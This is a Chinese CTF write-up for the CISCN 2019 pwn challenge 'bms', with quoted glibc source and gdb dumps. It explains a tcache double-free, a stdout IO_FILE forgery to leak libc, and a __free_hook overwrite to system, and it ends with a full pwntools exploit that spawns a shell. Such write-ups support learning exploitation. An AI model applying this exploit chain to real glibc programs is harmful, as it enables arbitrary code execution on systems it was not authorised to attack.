csicn2019国赛pwn — bms
这题居然是tcache,一堆2.23的libc之后,来了个2.26。好吧,之前有做过这种结构体放在heap上的题,也是tcache,一时没反应过来,之后还得去补补tcache的题啊。。
利用思路:这道题的主要漏洞在于利用tcache机制并且free后没有清零造成double free可以实现任意地址写的操作,主要难点在于泄露libc。远端环境是libc2.26,可以使用tcache攻击,利用double free把chunk分配在stdout附近,使tcache bin指向_IO_2_1_stdout_
。修改结构体泄露libc,再次使用tcache攻击分配chunk到__free_hook
,劫持为one_gadget
,调用free获得shell。
难点:tcache机制,利用IO_FILE泄露libc
前置知识
- IO_FILE相关源码:https://code.woboq.org/userspace/glibc/libio/fileops.c.html
- IO_FILE学习记录:https://zoepla.github.io/2019/04/pwn%E4%B8%AD%E7%9A%84IO_FILE%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%B7%B1%E5%85%A5/
- tcache 源码分析及利用思路(推荐阅读):http://p4nda.top/2018/03/20/tcache/
- http://tukan.farm/2017/07/08/tcache/
- http://ftp.gnu.org/gnu/glibc/
- http://m4x.fun/post/dive-into-tcache/
tcache学习
tcache
指针指向的是user_data
而不是heap_header
- 在上面p4nda写的tcache学习中,利用方式的
house_of_spirit
提到当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。
正是如此本题可以利用double free(tcache链表劫持)再分配来进行任意地址写。
调试过程:
首先通过double free来劫持tcache链表:
(0x90) tcache_entry[7](1): 0x97c4c0 --> 0x602020 --> 0x7fbd97271760 --> 0xfbad2887 (invaild memory)
然后当分配到0x602020地方的时候需要修改一个合适的值,我尝试过修改\x20
或者\x10
都是没问题的,重点在后面修改0x7fbd97271760
的stdout结构体时候的问题,关于为什么这样构造,为什么这样构造就可以泄露出里libc了,后面再说。
对应脚本如下:
create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2
pause()
log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
create(0x80,"\x20","aaaa\n")#3
create_null_puts(0x80,fake_stdout,"aaaa\n")#4
其中上面对同一个chunk进行了多次free的原因在于tcache_put() 的不严谨;
tcache_put()的源码:
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。 因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。 关于例子,可以查看how2heap 的 tcache_dup 进行学习。
下面是打印IO_FILE的结构体的一些信息
# 低位覆盖后的结果,
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1720
$1 = {
file = {
_flags = 0xf7bb0780,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x7ffff7bad2a0 <_IO_file_jumps> "",
_IO_buf_end = 0xfbad2887 <error: Cannot access memory at address 0xfbad2887>,
_IO_save_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_backup_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_save_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_markers = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131>,
_chain = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131>,
_fileno = 0xf7bb17e3,
_flags2 = 0x7fff,
_old_offset = 0x7ffff7bb17e3,
_cur_column = 0x17e4,
_vtable_offset = 0xbb,
_shortbuf = <incomplete sequence \367>,
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_freeres_buf = 0x1,
__pad5 = 0xffffffffffffffff,
_mode = 0xa000000,
_unused2 = "\000\000\000\000\300(\273\367\377\177\000\000\377\377\377\377\377\377\377\377"
},
vtable = 0x0
}
# stdout被修改前
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
# stdout被修改后
gdb-peda$ p *(struct _IO_FILE_plus *)0x7fbd97271760
$2 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7fbd97271700 <_IO_2_1_stderr_+128> "",
_IO_write_ptr = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fbd972717e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fbd97270a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fbd972728c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fbd972708c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fbd9726d2a0 <_IO_file_jumps>
}
再次利用double free修改__free_hook为one_adget即可。
create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8 overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9 getshell
free_null_puts(9)
利用IO_FILE泄露libc
- 参考链接:https://zszcr.github.io/2019/03/18/2019-3-18-tcache%E4%B8%8B%E7%9A%84%E5%87%A0%E9%81%93pwn%E9%A2%98/
- 源码:https://code.woboq.org/userspace/glibc/libio/fileops.c.html#_IO_new_do_write
泄露libc的涉及到了IO_FILE的利用,通过修改 puts函数工作过程中stdout 结构体中的 _IO_write_base ,来达到泄露libc地址信息的目的。下面来讲一下其中的一些原理。
关于puts函数的调用链(后面也有给出调试过程中看到的调用):puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow
。主要的目标我觉得是在_IO_new_file_overflow
里面。
_IO_puts
源码:
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
_IO_new_file_overflow函数源码:
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标,注意看第三个参数size的计算
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
可以发现_IO_do_write
是最后调用的函数, 而 _IO_write_base
是我们要修改的目标。这里f-> _flags & _IO_NO_WRITES
的值应该是0,同时使 f-> _flags & _IO_CURRENTLY_PUTTING
的值为1,避免执行不必要的代码同时让他正确return到相应位置。
_IO_do_write
函数的参数为stdout结构体、 _IO_write_base
和要打印的size。而 _IO_do_write
实际会调用 new_do_write
,参数一样。
泄露思路重点:
而我们的size是通过f->_IO_write_ptr - f->_IO_write_base
,通过调试仔细查看没有修改stdout结构体前可以发现f->_IO_write_ptr - f->_IO_write_base = 0
的,也就是说正常调用_IO_do_write
是不会打印东西的,也就是不会从_IO_write_base
开始打印东西,但是一旦我们修改了f->_IO_write_base
,这样一来size就会不等于0,而打印出f->_IO_write_base
上面的东西,所以造成的泄露libc。
这道题同时也因为修改了bss段上stdout的结构体位置,造成printf无法调用,无法打印malloc和free操作的信息(个人想法,因为覆盖0x602020上值的低位之后就不能用printf了,理解有错的话希望大佬可以告诉我)。
new_do_write 源码:
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
其中_IO_SYSWRITE
就是我们的目标,这相当于 write(fp , data, to_do)
。 _IO_SYSSEEK
只是简单的调用lseek
,但是我们不能完全控制fp-> _IO_write_base - fp-> _IO_read_end
的值。如果 fp-> _IO_read_end
的值设为0,那么 _IO_SYSSEEK
的第二个参数的值就会过大。如果设置fp-> _IO_write_base = fp-> _IO_read_end
的话,那么在其他地方就会有问题,因为fp-> _IO_write_base
不能大于fp-> _IO_write_end
。所以这里要 设置fp- _flags | _IO_IS_APPENDING
,避免进入else if
分支中。因此我们需要让IO_FILE的flags满足一些条件才能正确的执行到相应位置达成利用:
IO_FILE 的flags标志的一些宏
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)
_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags
_flag的构造满足的条件:
_flags = 0xfbad0000
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
详细的跟进调试过程:
跟进puts内发现,_IO_puts
->_IO_new_file_xsputn
->_IO_new_file_overflow
->_IO_do_write
->_IO_new_file_write
。
调试 begin…..
0x7ffff7845b4c <_IO_puts+396>: jmp 0x7ffff7845a85 <_IO_puts+197>
0x7ffff7845b51 <_IO_puts+401>: nop DWORD PTR [rax+0x0]
0x7ffff7845b58 <_IO_puts+408>: mov esi,0xa
=> 0x7ffff7845b5d <_IO_puts+413>: call 0x7ffff7852e90 <__GI___overflow>
0x7ffff7845b62 <_IO_puts+418>: cmp eax,0xffffffff
0x7ffff7845b65 <_IO_puts+421>: jne 0x7ffff7845ab8 <_IO_puts+248>
0x7ffff7845b6b <_IO_puts+427>: jmp 0x7ffff7845b31 <_IO_puts+369>
0x7ffff7845b6d <_IO_puts+429>: test DWORD PTR [rbp+0x0],0x8000
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad2887
arg[1]: 0xa ('\n')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff7845a7f <_IO_puts+191>: jbe 0x7ffff7845b40 <_IO_puts+384>
0x7ffff7845a85 <_IO_puts+197>: mov rdx,rbx
0x7ffff7845a88 <_IO_puts+200>: mov rsi,r12
=> 0x7ffff7845a8b <_IO_puts+203>: call QWORD PTR [r13+0x38]
0x7ffff7845a8f <_IO_puts+207>: cmp rbx,rax
0x7ffff7845a92 <_IO_puts+210>: jne 0x7ffff7845b31 <_IO_puts+369>
0x7ffff7845a98 <_IO_puts+216>: mov rdi,QWORD PTR [rip+0x36bda9] # 0x7ffff7bb1848 <stdout>
0x7ffff7845a9f <_IO_puts+223>: mov rax,QWORD PTR [rdi+0x28]
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800
arg[1]: 0x4014fc --> 0x6e690021656e6f64 ('done!')
arg[2]: 0x5
arg[3]: 0xb40 ('@\x0b')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff78509dc <_IO_new_file_xsputn+172>: jbe 0x7ffff7850bc0 <_IO_new_file_xsputn+656>
0x7ffff78509e2 <_IO_new_file_xsputn+178>: mov esi,0xffffffff
0x7ffff78509e7 <_IO_new_file_xsputn+183>: mov rdi,rbx
=> 0x7ffff78509ea <_IO_new_file_xsputn+186>: call QWORD PTR [rax+0x18]
0x7ffff78509ed <_IO_new_file_xsputn+189>: cmp eax,0xffffffff
0x7ffff78509f0 <_IO_new_file_xsputn+192>: je 0x7ffff7850a90 <_IO_new_file_xsputn+352>
0x7ffff78509f6 <_IO_new_file_xsputn+198>: mov rcx,QWORD PTR [rbx+0x40]
0x7ffff78509fa <_IO_new_file_xsputn+202>: sub rcx,QWORD PTR [rbx+0x38]
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800
arg[1]: 0xffffffff
arg[2]: 0xb40 ('@\x0b')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff78523e2 <_IO_new_file_overflow+226>: pop rbx
0x7ffff78523e3 <_IO_new_file_overflow+227>: pop rbp
0x7ffff78523e4 <_IO_new_file_overflow+228>: pop r12
=> 0x7ffff78523e6 <_IO_new_file_overflow+230>: jmp 0x7ffff7851ea0 <_IO_new_do_write>
| 0x7ffff78523eb <_IO_new_file_overflow+235>: nop DWORD PTR [rax+rax*1+0x0]
| 0x7ffff78523f0 <_IO_new_file_overflow+240>: mov rsi,QWORD PTR [rbx+0x20]
| 0x7ffff78523f4 <_IO_new_file_overflow+244>: mov rdx,QWORD PTR [rbx+0x28]
| 0x7ffff78523f8 <_IO_new_file_overflow+248>: mov rdi,rbx
|-> 0x7ffff7851ea0 <_IO_new_do_write>: xor eax,eax
0x7ffff7851ea2 <_IO_new_do_write+2>: test rdx,rdx
0x7ffff7851ea5 <_IO_new_do_write+5>: jne 0x7ffff7851eb0 <_IO_new_do_write+16>
0x7ffff7851ea7 <_IO_new_do_write+7>: repz ret
JUMP is taken
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff7851f44 <_IO_new_do_write+164>: mov rdx,r12
0x7ffff7851f47 <_IO_new_do_write+167>: mov rsi,r13
0x7ffff7851f4a <_IO_new_do_write+170>: mov rdi,rbx
=> 0x7ffff7851f4d <_IO_new_do_write+173>: call QWORD PTR [r14+0x78]
0x7ffff7851f51 <_IO_new_do_write+177>: mov rbp,rax
0x7ffff7851f54 <_IO_new_do_write+180>: movzx eax,WORD PTR [rbx+0x80]
0x7ffff7851f5b <_IO_new_do_write+187>: test rbp,rbp
0x7ffff7851f5e <_IO_new_do_write+190>: je 0x7ffff7851f65 <_IO_new_do_write+197>
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800
arg[1]: 0x7ffff7bb1700 --> 0x0
arg[2]: 0xe3
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[----------------------------------registers-----------------------------------]
RAX: 0xb40 ('@\x0b')
RBX: 0xe3
RCX: 0xfbad1800
RDX: 0xe3
RSI: 0x7ffff7bb1700 --> 0x0
RDI: 0x1
RBP: 0x7ffff7bb1700 --> 0x0
RSP: 0x7fffffffde10 --> 0x7fffffffdf20 --> 0x7fffffffdf40 --> 0x401370 (push r15)
RIP: 0x7ffff78501b8 (<_IO_new_file_write+40>: call 0x7ffff78d5140 <__GI___libc_write>)
R8 : 0x7ffff7fdd740 (0x00007ffff7fdd740)
R9 : 0x0
R10: 0x7ffff7963cc0 --> 0x2000200020002
R11: 0x246
R12: 0x7ffff7bb1760 --> 0xfbad1800
R13: 0xe3
R14: 0x7ffff7bad2a0 --> 0x0
R15: 0x7ffff7bac760 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff78501ac <_IO_new_file_write+28>: mov rbx,rdx
0x7ffff78501af <_IO_new_file_write+31>: jmp 0x7ffff78501cd <_IO_new_file_write+61>
0x7ffff78501b1 <_IO_new_file_write+33>: nop DWORD PTR [rax+0x0]
=> 0x7ffff78501b8 <_IO_new_file_write+40>: call 0x7ffff78d5140 <__GI___libc_write>
0x7ffff78501bd <_IO_new_file_write+45>: test rax,rax
0x7ffff78501c0 <_IO_new_file_write+48>: js 0x7ffff78501f0 <_IO_new_file_write+96>
0x7ffff78501c2 <_IO_new_file_write+50>: sub rbx,rax
0x7ffff78501c5 <_IO_new_file_write+53>: add rbp,rax
No argument
调试 end……
调试的时候发现:调用完一次puts泄露出libc之后会对_IO_read_ptr
等进行修正,但不会对_flags 进行修正
# stdout被修改前
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
# stdout被修改后
gdb-peda$ p *(struct _IO_FILE_plus *)0x7fbd97271760
$2 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7fbd97271700 <_IO_2_1_stderr_+128> "",
_IO_write_ptr = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fbd972717e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fbd97270a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fbd972728c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fbd972708c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fbd9726d2a0 <_IO_file_jumps>
}
# 调用完一次puts后已经完成修正
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$54 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_write_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
环境:ubuntu18.04 libc2.27 完整exp:
from pwn import *
context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
#p = remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com","40001")
p = process("./pwn")
elf = ELF('./pwn')
libc = elf.libc
def create(size,content,name):
p.sendlineafter(">","1")
p.sendafter("book name:",name)
p.sendlineafter("description size:",str(size))
p.sendafter("description:",content)
def create_null_puts(size,content,name):
p.sendlineafter(">","1")
p.send(name)
sleep(0.01)
p.sendline(str(size))
sleep(0.01)
p.send(content)
sleep(0.01)
def free(idx):
p.sendlineafter(">","2")
p.sendlineafter("index:",str(idx))
def free_null_puts(idx):
p.sendlineafter(">","2")
p.sendline(str(idx))
def edit(idx,content):
p.sendlineafter(">","3")
p.sendlineafter("index:",str(idx))
p.sendafter("create description:",content)
'''
0x602060
b *0x00401207
b *0x0040129b
'''
p.sendlineafter("username:","admin")
p.sendlineafter("password:","frame")
create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
pause()
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2
log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
create(0x80,"\x20","aaaa\n")#3
create_null_puts(0x80,fake_stdout,"aaaa\n")#4
# when call next puts will leak the libc
leak = p.recvuntil("done!",drop = True)
#print("leak = " + str(leak))
leak = leak[0x9:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 0x3ed8b0 # 2.27 # 0x3D73E0
libc.address = libc_base
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
success("leak_add = " + hex(leak_add))
success("libc_base = " + hex(libc_base))
success("system = " + hex(system))
success("free_hook = " + hex(free_hook))
create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8 overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9 getshell
free_null_puts(9)
p.interactive()